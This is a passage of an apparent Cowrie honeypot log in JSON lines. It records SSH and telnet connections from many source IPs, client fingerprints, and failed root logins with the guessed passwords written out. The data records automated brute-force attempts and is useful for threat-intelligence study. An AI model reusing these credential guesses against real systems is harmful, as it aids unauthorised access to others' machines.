ha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:19.585377Z","src_ip":"194.59.206.2","session":"fb8dbcd00bcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:19.679766Z","src_ip":"194.59.206.2","session":"fb8dbcd00bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":46498,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6184c7d13f","protocol":"ssh","message":"New connection: 62.133.62.83:46498 (10.17.0.5:22) [session: aa6184c7d13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:31.707428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:31.714975Z","src_ip":"62.133.62.83","session":"aa6184c7d13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:31.795434Z","src_ip":"62.133.62.83","session":"aa6184c7d13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evro2012","message":"login attempt [root/evro2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:32.041944Z","src_ip":"62.133.62.83","session":"aa6184c7d13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:33.124406Z","src_ip":"62.133.62.83","session":"aa6184c7d13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48448,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1396641737d","protocol":"telnet","message":"New connection: 172.81.62.90:48448 (159.203.135.109:23) [session: e1396641737d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:44.001024Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50580,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3097bd99382","protocol":"ssh","message":"New connection: 27.71.230.31:50580 (10.17.0.5:22) [session: a3097bd99382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:48.041347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:48.109994Z","src_ip":"27.71.230.31","session":"a3097bd99382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:50.757349Z","src_ip":"27.71.230.31","session":"a3097bd99382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password8","message":"login attempt [root/Password8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:52.260328Z","src_ip":"27.71.230.31","session":"a3097bd99382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:13:53.497389Z","src_ip":"27.71.230.31","session":"a3097bd99382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.70093774795532,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:14:20.701699Z","src_ip":"172.81.62.90","session":"e1396641737d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56084,"dst_ip":"159.203.135.109","dst_port":23,"session":"4be22fb0376a","protocol":"telnet","message":"New connection: 128.199.8.54:56084 (159.203.135.109:23) [session: 4be22fb0376a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:14:26.766260Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":58754,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b2c0b58c51c","protocol":"ssh","message":"New connection: 77.94.47.83:58754 (10.17.0.5:22) [session: 1b2c0b58c51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:14:48.109938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:14:48.114214Z","src_ip":"77.94.47.83","session":"1b2c0b58c51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:14:48.219278Z","src_ip":"77.94.47.83","session":"1b2c0b58c51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05051994","message":"login attempt [root/05051994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:14:48.535077Z","src_ip":"77.94.47.83","session":"1b2c0b58c51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:14:49.643457Z","src_ip":"77.94.47.83","session":"1b2c0b58c51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40198,"dst_ip":"159.203.135.109","dst_port":22,"session":"a12f600b3bfc","protocol":"ssh","message":"New connection: 103.82.132.16:40198 (159.203.135.109:22) [session: a12f600b3bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:04.666239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:04.673240Z","src_ip":"103.82.132.16","session":"a12f600b3bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:04.947991Z","src_ip":"103.82.132.16","session":"a12f600b3bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250881","message":"login attempt [root/250881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:05.748697Z","src_ip":"103.82.132.16","session":"a12f600b3bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":53900,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5554f9230d3","protocol":"ssh","message":"New connection: 51.250.105.222:53900 (159.203.135.109:22) [session: b5554f9230d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:06.590839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:06.596067Z","src_ip":"51.250.105.222","session":"b5554f9230d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:06.725206Z","src_ip":"51.250.105.222","session":"b5554f9230d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:07.016371Z","src_ip":"103.82.132.16","session":"a12f600b3bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:07.117593Z","src_ip":"51.250.105.222","session":"b5554f9230d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:08.256036Z","src_ip":"51.250.105.222","session":"b5554f9230d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":43706,"dst_ip":"159.203.135.109","dst_port":22,"session":"220914172439","protocol":"ssh","message":"New connection: 27.71.230.31:43706 (159.203.135.109:22) [session: 220914172439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:11.466374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:12.306349Z","src_ip":"27.71.230.31","session":"220914172439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:12.309611Z","src_ip":"27.71.230.31","session":"220914172439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.40398168563843,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:22.170103Z","src_ip":"128.199.8.54","session":"4be22fb0376a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40308,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d8d7f1fb73b","protocol":"telnet","message":"New connection: 128.199.8.54:40308 (159.203.135.109:23) [session: 5d8d7f1fb73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:35.199507Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password8","message":"login attempt [root/Password8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:47.141188Z","src_ip":"27.71.230.31","session":"220914172439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.8","message":"Connection lost after 38.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:15:50.239309Z","src_ip":"27.71.230.31","session":"220914172439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.9.47.89","src_port":60840,"dst_ip":"10.17.0.5","dst_port":22,"session":"46fdf1c1dbed","protocol":"ssh","message":"New connection: 111.9.47.89:60840 (10.17.0.5:22) [session: 46fdf1c1dbed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:21.755680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:21.759447Z","src_ip":"111.9.47.89","session":"46fdf1c1dbed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:22.061440Z","src_ip":"111.9.47.89","session":"46fdf1c1dbed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jason","password":"jason","message":"login attempt [jason/jason] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:23.306677Z","src_ip":"111.9.47.89","session":"46fdf1c1dbed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.607422828674316,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:26.806792Z","src_ip":"128.199.8.54","session":"5d8d7f1fb73b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43536,"dst_ip":"10.17.0.5","dst_port":22,"session":"579526869160","protocol":"ssh","message":"New connection: 103.172.78.219:43536 (10.17.0.5:22) [session: 579526869160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:28.177712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:16:28.181658Z","src_ip":"103.172.78.219","session":"579526869160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 